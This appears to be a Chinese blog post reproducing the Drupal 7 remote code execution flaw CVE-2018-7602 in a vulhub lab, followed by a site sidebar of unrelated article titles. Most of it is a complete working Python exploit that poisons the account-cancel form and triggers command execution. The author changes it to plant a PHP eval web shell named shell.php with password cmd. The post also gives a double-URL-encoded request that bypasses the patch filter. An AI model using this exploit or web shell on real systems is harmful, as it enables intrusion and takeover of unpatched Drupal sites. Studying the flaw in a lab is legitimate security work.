当前位置:网站首页>Drupal 远程代码执行漏洞复现(CVE-2018-7602)
Drupal 远程代码执行漏洞复现(CVE-2018-7602)
2022-08-11 05:32:00 【Tauil】
0x01 环境搭建
建立vulhub/drupal/CVE-2018-7602/环境
0x02 创建角色
给该网页创建一个网站管理员角色

登录初始管理员,授予权限给新建角色

设置完毕并保存后该新建的管理员角色就已激活
0x03 反弹shell连接
使用以下poc.py,与官网不同的是强制定义命令为 echo '<?php eval($_POST["cmd"]);echo "get shell";?>' > shell.php,因为如果使用原poc执行语句python3 poc.py -c "echo '<?php eval($_POST["cmd"]);echo "get shell";?>' > shell.php" drupal drupal http://靶机IP:8081/会导致输入错误等等原因,所以进行了一点修改
#!/usr/bin/env python3
import requests
import argparse
from bs4 import BeautifulSoup
def get_args():
parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= ''' This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58 using an valid account and poisoning the cancel account form (user_cancel_confirm_form) with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax). ''')
parser.add_argument("user", help="Username")
parser.add_argument("password", help="Password")
parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id")
parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
args = parser.parse_args()
return args
def pwn_target(target, username, password, function, command, proxy):
requests.packages.urllib3.disable_warnings()
session = requests.Session()
proxyConf = {
'http': proxy, 'https': proxy}
try:
print('[*] Creating a session using the provided credential...')
get_params = {
'q':'user/login'}
post_params = {
'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
print('[*] Finding User ID...')
session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
get_params = {
'q':'user'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
user_id = soup.find('meta', {
'property': 'foaf:name'}).get('about')
if ("?q=" in user_id):
user_id = user_id.split("=")[1]
if(user_id):
print('[*] User ID found: ' + user_id)
print('[*] Poisoning a form using \'destination\' and including it in cache.')
get_params = {
'q': user_id + '/cancel'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {
'id': 'user-cancel-confirm-form'})
form_token = form.find('input', {
'name': 'form_token'}).get('value')
get_params = {
'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
post_params = {
'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {
'id': 'user-cancel-confirm-form'})
form_build_id = form.find('input', {
'name': 'form_build_id'}).get('value')
if form_build_id:
print('[*] Poisoned form ID: ' + form_build_id)
print('[*] Triggering exploit to execute: ' + command)
get_params = {
'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
post_params = {
'form_build_id':form_build_id}
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
parsed_result = r.text.split('[{"command":"settings"')[0]
print(parsed_result)
except:
print("ERROR: Something went wrong.")
raise
def main():
print ()
print ('===================================================================================')
print ('| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |')
print ('| by pimps |')
print ('===================================================================================\n')
args = get_args() # get the cl args
args.command = '''echo '<?php eval($_POST["cmd"]);echo "get shell";?>' > shell.php'''
pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
if __name__ == '__main__':
main()
然后输入命令执行poc.pypython3 poc.py -c "" drupal drupal http://靶机IP:8081/

访问http://靶机IP/shell.php即可看到新建的网页

然后使用蚁剑连接,密码是cmd

漏洞原理
对CVE-2018-7600漏洞的补丁通过过滤带有#的输入来处理请(GET,POST,COOKIE,REQUEST)中数据。

但是Drupal 应用还会处理path?destination=URL形式的请求,发起请求需要对destination=URL中的URL进行URL编码,当对URL中的#进行编码两次,就可以绕过sanitize()函数过滤。
构造特殊请求绕过过滤代码
POST /drupal-7.59/drupal-7.59/node/9/delete?destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami
其中%2523是对#的两次URL编码。
WEB中间件对%2523解码获得%23

绕过sanitize(),stripDangrousValues函数检查。
在Drupal应用对destination URL进行处理时,会再次解码%23,获得#。

使用parse_str,并存入options,还需要通过其他步骤来触发漏洞。

边栏推荐
猜你喜欢

8-byte standard request parsing during USB enumeration

JVM学习四:垃圾收集器与内存回收策略

C语言-内存操作函数

2021年vscode终端设置为bash模式

js learning advanced (event senior pink teacher teaching notes)

【LeetCode-49】字母异位词分组

第六届蓝帽杯 EscapeShellcode

轻松理解进程与线程

Use the adb command to manage applications

The official website of OpenMLDB is upgraded, and the mysterious contributor map will take you to advance quickly
随机推荐
【剑指offer系列】面试题日记(前期题)
Lua 快速入门(五)——协程(thread)
C-动态内存管理
C# 基础之字典——Dictionary(一)
非对称加密——网络安全
微信小程序云开发项目wx-store代码详解
解决AttributeError: ‘NoneType‘ object has no attribute ‘val‘ if left.val!=right.val:Line 17 问题
自己动手写RISC-V的C编译器-02语法描述方法和递归下降解析
Unity 数字跳字功能
Real-time Feature Computing Platform Architecture Methodology and Practice Based on OpenMLDB
Unity Mesh、MeshFilter、MeshRenderer扫盲
杀死进程-查看防火墙状态
mk file introduction
Day 80
【LeetCode-75】 颜色分类
【转】Unity C# 关于Attribute的使用(超实用)
C# 基础之字典——Dictionary(二)
开发公众号授权遇到的redirect_uri参数错误
自己动手写RISC-V的C编译器-01实现加减法
PyQt5中调用.ui转换的.py文件代码解释